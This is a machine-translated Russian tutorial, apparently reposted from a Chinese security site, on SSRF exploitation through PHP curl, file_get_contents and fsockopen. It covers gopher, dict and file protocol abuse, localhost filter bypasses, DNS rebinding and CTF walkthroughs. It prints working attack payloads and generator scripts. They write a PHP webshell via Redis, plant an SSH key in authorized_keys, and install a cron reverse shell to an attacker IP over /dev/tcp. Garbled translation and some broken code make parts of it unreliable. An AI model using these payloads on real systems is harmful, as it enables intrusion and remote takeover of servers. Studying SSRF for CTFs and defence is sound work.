Статья впервые появилась в сообществе Popping Candy.https://tttang.com/archive/1648/
Раньше у меня было лишь краткое представление о SSRF. После вторичного изучения я кратко изложу его. Надеюсь, это будет полезно мастерам, изучающим SSRF.
Причиной формирования SSRF часто является то, что сервер обеспечивает функцию получения данных от других серверных приложений и не фильтрует и не ограничивает целевой адрес.
Например: получить текстовое содержимое веб-страницы с указанного URL-адреса, загрузить изображение с указанного адреса, скачать и т. д. Используется подделка запроса на стороне сервера. SSRF использует ошибочное веб-приложение в качестве прокси-сервера для атак на удаленные и локальные серверы.
SSRF (подделка запроса на стороне сервера) — это уязвимость безопасности, созданная злоумышленником для формирования запроса, инициированного сервером. Обычно атаки SSRF нацелены на внутренние системы, недоступные из внешней сети. (Именно потому, что он инициируется сервером, он может запросить подключенную к нему внутреннюю систему и изолированную от внешней сети)
1. Чтение или обновление внутренних ресурсов, вызывающее локальную утечку файлов;
2. Использовать защищенные от уязвимостей хосты в качестве агентов/трамплинов для атак на хосты интрасети, обхода брандмауэров и т. д.;
3. Вы можете выполнить сканирование портов во внешней сети, внутренней сети, где расположен сервер, и локальной области для получения баннерной информации некоторых сервисов.
4. Выполните идентификацию отпечатков пальцев в веб-приложениях интрасети, получив доступ к файлам по умолчанию (например, файлам readme).
5. Атаковать веб-приложения во внутренних и внешних сетях, в основном атаки, которые можно осуществить с использованием параметров GET (например: Struts2, sqli).
curl_exec() Функция Curl_exec используется для выполнения указанного сеанса cURL.
Например, код выглядит следующим образом
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//Инициализируем сеанс Curl
$ch=curl_init($url);
// Установите URL-адрес и соответствующие параметры.
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//// Возьмите URL-адрес и передайте его в браузер
$result=curl_exec($ch);
//Закрываем ресурсы cURL и освобождаем системные ресурсы
curl_close($ch);
echo ($result);
?>
В настоящее время мы можем использовать параметры URL,получить некоторые файлы из интрасети,Пишите напрямую127.0.0.1:/flag.php
Этого достаточно,Присвоить значение URL-адресу
file_get_contents() file_get_contentфункция получает содержимое по URL-адресу, указанному пользователем, а затем указывает имя файла
Сохраните и отобразите его пользователю. file_put_contentfunction записывает строку в файл.
дляfile_get_contents()
функция, она может получить содержимое файла. Здесь мы приведем простой пример, чтобы показать, как ее использовать.
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
В настоящее время существует уязвимость, заключающаяся в том, что вы можете напрямую читать файлы в интрасети.
fsockopen() fsockopen — Откройте сетевое соединение или соединение через сокет Unix.
<?php
$host=$_GET['url'];
$fp = fsockopen("$host",80, $errno, $errstr,30);
if(!$fp){
echo "$errstr ($errno)<br />\n";
}else{
$out ="GET / HTTP/1.1\r\n";
$out .="Host: $host\r\n";
$out .="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)){
echo fgets($fp,1024);
}
fclose($fp);
}
?>
Функция fsockopen реализует получение данных URL-адреса, указанных пользователем. Эта функция использует сокет (порт) для установления TCP-соединения с сервером и передачи данных. Переменная хост — это имя хоста, порт — это порт, errstr указывает, что сообщение об ошибке будет возвращено в виде строки, а 30 — это ограничение по времени для передачи исходных данных.
file:// — доступ к локальной файловой системе
Проще говоря, это обнаружение локальных файлов. Официальное объяснение и использование следующие.
file:// протокол:
состояние allow_url_fopen:off/on allow_url_include :off/on
Функция: используется для доступа к локальной файловой системе. Когда такие параметры, как include()/require(), являются управляемыми
Если вы импортируете файл, отличный от php, он также будет проанализирован как php.
использование:
1.file://[абсолютный путь и имя файла]
2.[Относительный путь и имя файла]
3.[http://сетевой путьиимя файла]
Используйте простые вопросы как каштаны для практики.
Описание вопроса
Попробуйте прочитать flag.php в веб-каталоге.
Войдите в среду,пустой,Найдены параметры URL,использоватьфайловый псевдопротокол пытается прочитать флаг
url=file:///var/www/html/flag.php
Необходимо отправлять при обнаружении интрасети или выполнении команд. POST Запрос, которым мы можем воспользоваться gopher протокол
протокол Формат:gopher://<host>:<port>/<gopher-path>
,Путь gopher здесь эквивалентен отправленному пакету запроса.
Это объясняется небольшим вопросом от ctfhub. Я открыл среду и ничего не нашел.
После сканирования мы обнаружили, что существует файл с именем flag.php. В этот момент заходим на доступ к этому файлу.
Он сообщает, что доступ к нему возможен только с помощью этого компьютера. На данный момент мы создаем следующую полезную нагрузку.
url=http://127.0.0.1/flag.php
Обнаружил, что это была загрузка файла Проверьте исходный код файла в это время
url=file:///var/www/html/flag.php
Исходный код выглядит следующим образом
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
В этот раз мы обнаружили, что это действительно была загрузка файла. Пока файл больше 0, его можно успешно загрузить. В этот раз мы попытались загрузить файл, но обнаружили, что кнопки «Отправить» нет. ... Это не имеет значения. Мы можем сами отредактировать код внешнего интерфейса, чтобы создать кнопку отправки и сконструировать. Код выглядит следующим образом.
<input type="submit" name="submit">
Затем загрузите любой файл, который хотите.
На этом этапе измените хост на 127.0.0.1, чтобы создать необходимый нам пакет почтовых данных, а затем используйте следующий сценарий для выполнения вторичного кодирования.
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224170729831654278414248977569
Content-Length: 525
Origin: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"
123
-----------------------------224170729831654278414248977569--
123
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"
123
-----------------------------224170729831654278414248977569--
"""
#Обратите внимание, что в конце должен быть возврат каретки. Конец возврата каретки указывает на конец http-запроса.
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # Поскольку это запрос GET, кодирование URL необходимо выполнить дважды.
После выполнения скрипта полученный транскодированный код выглядит следующим образом:
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A
На данный момент вы можете напрямую присвоить значение параметру URL.
url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A
ict Протокол — это словарь. Служить протокол обычно используется, чтобы позволить клиенту получить доступ к большему количеству источников словаря во время использования, и может использоваться для обнаружения отпечатка информации порта.
протокол Формат:dict://<host>:<port>/<dict-path>
Общее использованиеdict://<host>:<port>/info
Обнаружение информации о приложении порта
Дайте каштан
dict://127.0.0.1:6379 //Определить, активен ли Redis
dict://127.0.0.1:6379/info //Обнаружение информации о приложении порта
RESP протоколда redis Связь передачи данных между Служитьпротокол, redis клиент и redis Связь между серверами будет осуществляться в форме RESP протокол Поэтому впоследствии мы построим payload также необходимо преобразовать в RESP Формат протокола
*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
в
*n представляет начало команды, n Указывает, что команда выдана n состоит из струн
$n означает, что строка имеет n персонажи
После успешного выполнения сервер вернет +OK, что является ответом сервера Redis клиенту Redis.
При столкновении с фильтрациейlocalhost
и127.0.0.1
час,В настоящее время прямой доступ к интрасети доступа невозможен.,Так что же нам делать в это время?,иметь Ниже приведены несколько способов обхода
Есть сеть под названиемsudo.cc
из Служить,При размещении доступ к этому Служить,автоматически перенаправит на127.0.0.1
平常我们传入изurlдаurl=http://127.0.0.1
,если
我们传入изurlдаurl=http://quan9i@127.0.0.1
,В настоящее время он по-прежнему будет доступен 127.0.0.1.
Примеры следующие: Советы по вопросам
Запрос должен заканчиватьсяhttp://notfound.ctfhub.com
начало,Но для нашего доступа к файлам интрасети,иметь это,Что делать,этотчас候Сразуиспользовать到了@
характер,Мы создаем полезную нагрузку следующим образом
url=http://notfound.ctfhub.com@127.0.0.1/flag.php
иметьчас候可以использовать特殊数字来绕过,Построить специальный 127.0.0.1,нравиться1②7.0.0.1
использовать。
вместо.
при фильтрации127.0.0.1
整体час,возвращатьсяиметь一种绕过方式Сразуда省略中间из0,Это также время, когда вы можете получить доступ
Воля127.0.0.1
Сделать преобразование,转换为其他进制из数从而绕过检测
Базовая конверсия Результаты следующие:
0177.0.0.1 //восьмеричный
0x7f.0.0.1 //шестнадцатеричный
2130706433 //десятичный
Вы также можете использовать скрипт преобразования PHP для непосредственного получения результатов. Сценарий выглядит следующим образом.
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo «Десятичный:»;
echo $r;
echo «Восьмеричный:»;
echo decoct($r);
echo "шестнадцатеричный:";
echo dechex($r);
?>
в окнах,0представлять0.0.0.0
,И под линуксом,0представлять127.0.0.1
,Как показано ниже
url=http://0/flag.php
DNS — это аббревиатура службы доменных имен, компьютерного сервера доменных имен. В Интернете между доменными именами и IP-адресами существует взаимно однозначное соответствие. Хотя имена доменов легко запоминаются, машины могут распознавать только друг друга. Преобразование между ними работает. Это называется разрешением доменных имен, и разрешение доменных имен должно выполняться специализированным сервером разрешения доменных имен, который является сервером доменных имен DNS.
Во время просмотра веб-страниц пользователь вводит URL-адрес, содержащий имя домена, в адресную строку. Браузер преобразует имя домена в IP-адрес через DNS-сервер, затем запрашивает ресурсы с соответствующего IP-адреса и, наконец, отображает их пользователю. Владелец доменного имени может установить IP-адрес, соответствующий доменному имени. Когда пользователь посещает сайт в первый раз, доменное имя анализируется для получения IP-адреса; затем владелец доменного имени изменяет соответствующий IP-адрес; когда пользователь снова запрашивает доменное имя, будет получен новый IP-адрес; Для браузера весь процесс обращается к одному и тому же доменному имени, поэтому он считается безопасным. Это создает атаку перепривязки DNS. Процесс атаки выглядит следующим образом
Для параметров URL, запрошенных пользователем,первый Служить Сервер обработает егоDNSанализировать,Затем оцените IP-адрес, возвращенный DNS. Служить,если в черном списке,СразуpassТерять。
Но за весь процесс первый раз запросить DNS Служить для доменного Существует разница во времени между анализом имени и вторым запросом URL-адреса. Используя эту разницу во времени, мы можем выполнить DNS. Повторная атака.Используем DNS Технология повторной привязки возвращает действительный IP-адрес при первой проверке IP. Когда запрос действительно инициируется, он возвращает только тот IP-адрес интрасети, который нам действительно нужен.
завершить Перепривязка DNS-атака, нам нужно доменное имя, и будет ли это доменное Разрешение имени присваивается нашему собственному DNS. Сервер в нашем управляемом DNS Запишите синтаксический анализ Служить на сервере и установите время TTL равным 0. Это сделано для того, чтобы DNS-сервер Служить не кэшировал результаты парсинга. Таким образом можно осуществить атаку. Полный процесс атаки:
Серверная часть Служить получила параметры URL-адреса, выполнила первое разрешение DNS и получила IP-адрес вне интрасети.
Полученный IP-адрес оценивается, и если оказывается, что он не находится в черном списке, он проходит проверку.
Служитьустройство端дляURLруководитьдоступ,Поскольку TTL, установленный DNS-Служить, равен 0.,所以再次руководитьDNSанализировать,На этот раз DNS-сервер «Служить» вернул адрес интрасети.
Перепривязка Проще говоря, DNS здесь означает, что мы сначала предоставляем IP, а затем передаем 127.0.0.1 в процессе разрешения на стороне Служить. В это время доступ может быть передан на локальный файл. Дайте каштан, один ставим 127.0.0.1, а другой пишем случайно
пропинговать этот адрес,Могут возникнуть две ситуации: иметь,一种да1.1.1.14
,另一种да127.0.0.1
Перепривязка DNSиспользоватьиздаэтот网站[https://lock.cmpxchg8b.com/rebinder.html]
помещение
1、redis иметь root
2. Знайте абсолютный путь к веб-сайту.
Целевая машина открывает Redis
Атакующая машина подключается к несанкционированному редису (блогер совсем новичок, могут возникнуть проблемы)
redis-cli -h IP-адрес
Соединение успешное, начните писать веб-шелл
1、flushall //Команда используется для очистки всего Redis Служить данные
2、set 1 '<?php @eval($_POST[1]);?>' //Устанавливаем содержимое как трояна, состоящего из одного предложения
3、config set dir '/var/www/html' //Установим путь хранения файлов
4、config set dbfilename shell.php //Установить имя файла
5、save //держать
Подойдите к целевому дрону, чтобы проверить
Успешно написано
В это время внутренний сервер отправляет redis Сервер инициирует запрос, поэтому отправленный контент необходимо преобразовать в RESP формат протокола, путем объединения gopher протокол досягаемости и записи shell цель
Общий сценарий следующий
import urllib
protocol="gopher://"
ip="192.168.134.132" //IP-адрес
port="6379" //порт
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//Письменный контент представляет собой троян, состоящий из одного предложения.
filename="1.php" //Имя файла — 1.php
path="/var/www/html"//Путь по умолчанию
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
Попробуйте использовать эту полезную нагрузку для атаки
Проверьте этот каталог
Успешно написано
состояние
1、Redis Служить запускается под учетной записью ROOT.
2、Служить Устройство открытоSSHСлужить,И разрешить вход с помощью ключа,Вы можете написать открытый ключ удаленно,Войдите непосредственно на удаленный сервер
Выполнять команды в дронеssh-keygen -t rsa
,Затем просто нажмите Enter до конца
В это время найдите место, где хранятся открытый и закрытый ключи.
find . -name ".ssh"
Посмотреть содержимое id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali
В это время подойдите к атакующей машине и подключитесь к Redis.
flushall
set 1 'содержимое id_rsa.pub'
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
save
Проверьте это на съемочной машине
Успешно написано
此часssh -root@ip-адрес целевой машины
Вы можете успешно войти в систему
Скрипт следующий
import urllib
protocol="gopher://"
ip="192.168.134.132"
port="6379"
filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali \n\n"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
Получите полезную нагрузку после запуска
Откройте среду целевой машины, перейдите на атакуемую машину и выполните завиток + полезная нагрузка.
Попробуйте войти сейчас
состояние
redis иметь root
Окружающая среда является центосом из-за redis Выходные файлы 644 разрешения, но ubuntu Запланированные задачи должны быть 600 Разрешения могут быть получены только поэтому этот метод применим только к centos
Целевая машина открывает Redis и выполняет следующую команду после атаки на соединение.
flushall
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.134.132/1234 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save
Скрипт
import urllib
protocol="gopher://"
reverse_ip="192.168.134.132"
reverse_port="1234"
filename="root"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+reverse_ip+":"+reverse_port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
После запуска мы получаем
Мониторинг на атакующей машине и клонирование терминала для Curl + Payload
Тогда вы сможете успешно восстановить оболочку
1. Загрузите тир с github. Код выглядит следующим образом
git clone https://gitclone.com/github.com/m6a-UdS/ssrf-lab.git
2. Переключитесь на путь стрельбища, чтобы создать изображение.
cd /ssrf-lab/basics
sudo docker build -t ssrf-lab/basic .
3. Запустите образ и сопоставьте его с портом 80.
docker run -d -p 80:80 ssrf-lab/basic
4. Войдите в контейнер для настройки Redis.
docker exec -it идентификатор контейнера /bin/bash
apt-get install redis-server
5. Запустите службу Redis.
redis-server
доступ
Сначала протестируйте 127.0.0.1
Обнаружил эхо, указывающее, что ограничения по IP нет, попробуйте в это время прочитать файл
file:///etc/passwd
Получите пароль, затем используйте псевдопротокол dict, чтобы прочитать редисинформацию.
dict://127.0.0.1:6379/info
На данный момент у нас нет шелл.php, пытаемся написать шелл.php
dict://127.0.0.1:6379/config:set:dir/var/www/html //Установить каталог
dict://127.0.0.1:6379/set:shell:"<?php eval($_POST[1])?>" //Устанавливаем содержимое файла
Не удалось, попробовал шестнадцатеричный обход.
dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3f\x3e"
dict://127.0.0.1:6379/config:set:dbfilename:shell.php //Установить имя файла
dict://127.0.0.1:6379/save //держать
Подойдите к стрелковой машине, чтобы просмотреть
Успешно написано
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
можно найтиэтот多了parse_url
функция,Функция этой функции заключается в следующем
parse_url — анализировать URL, возвращающий его компоненты
Примеры следующие:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
Вывод результатов
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
Здесь требованием является http или https.,Тогда он не может появитьсяloca1host
или127.0.0
,Если внимательно посмотреть,会发现这里даloca1
скорее, чемlocal
,同час127.0.0
Не могу защитить127.0.0.1
,Следовательно, мы можем следовать идее Шангуаня.,Но контрольной точкой здесь является обход 127.0.0.1.,Вот несколько полезных нагрузок
//Специальный 0
url=http://0/flag.php
url=http://0.0.0/flag.php
//Шестнадцатеричный обход
url=http://0177.0.0.1/flag.php //восьмеричный
url=http://0x7f.0.0.1/flag.php //шестнадцатеричный
url=http://2130706433/flag.php //десятичный
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
этотиз话要求host
длина менее5,этотчас候127.0.0.1иlocalhost都да不符合要求из,этотчас候我们可以использовать Специальный 0 для замены
url=http://0/flag.php
возвращатьсяиметьодин,127.1
也да可行из
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
FILTER_VALIDATE_IP Требуемое значение является законным IP
FILTER_FLAG_NO_PRIV_RANGE Требуемое значение RFC выделенный частный домен IP (например 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE Требуемое значение больше не зарезервировано IP в пределах диапазона. Этот флаг принимает IPV4 и IPV6 ценить.
Слова здесь на самом деле требуют использования общедоступного IP-адреса, а не частного IP-адреса. 这里из话可以использоватьhttps://lock.cmpxchg8b.com/rebinder.htmlпостроить Перепривязка DNS
Затем назначьте его URL-адресу в качестве хоста
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
Если вы это видите, то здесь необходимо начинать с http.,中间да.ctf
,Затем вы можете написать контент посередине,Наконец сshowокончание
В настоящее время мы можем использовать эту идею для создания URL-адреса.
url=http://ctf.@127.0.0.1/flag.php#show
Открыть MySQL без пароля
Вход в тир — это интерфейс входа в систему
Он подсказывает, что это MySQL без пароля, затем попробуйте использовать инструмент gopher, чтобы открыть его.
python2 gopherus.py --exploit mysql
Имя пользователя — root, а содержимое — троянский конь, состоящий из одного предложения.
Тогда давайте рассмотрим этот вопрос
Возврат в исходном коде должен стать прорывом. Мы можем ввести любой, чтобы войти в интерфейс check.php. В настоящее время мы можем закодировать URL-адрес только что полученной полезной нагрузки и назначить ее для возврата. В это время посетите 1. .php
Вопрос-подсказка
Нажмите Redis
код
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
Когда будет предложено ввести redis, идея станет более очевидной. Вы можете использовать инструменты для ввода, а затем напрямую присваивать значения. Это ручная операция.
Установите каталог хранения локальной базы данных
Напишите предложение Троян
Но эхо в настоящее время не в порядке, что указывает на то, что оно могло быть отфильтровано. Здесь измените на шестнадцатеричный формат, чтобы обойти его.
Установить имя файла
доступ
Получить флаг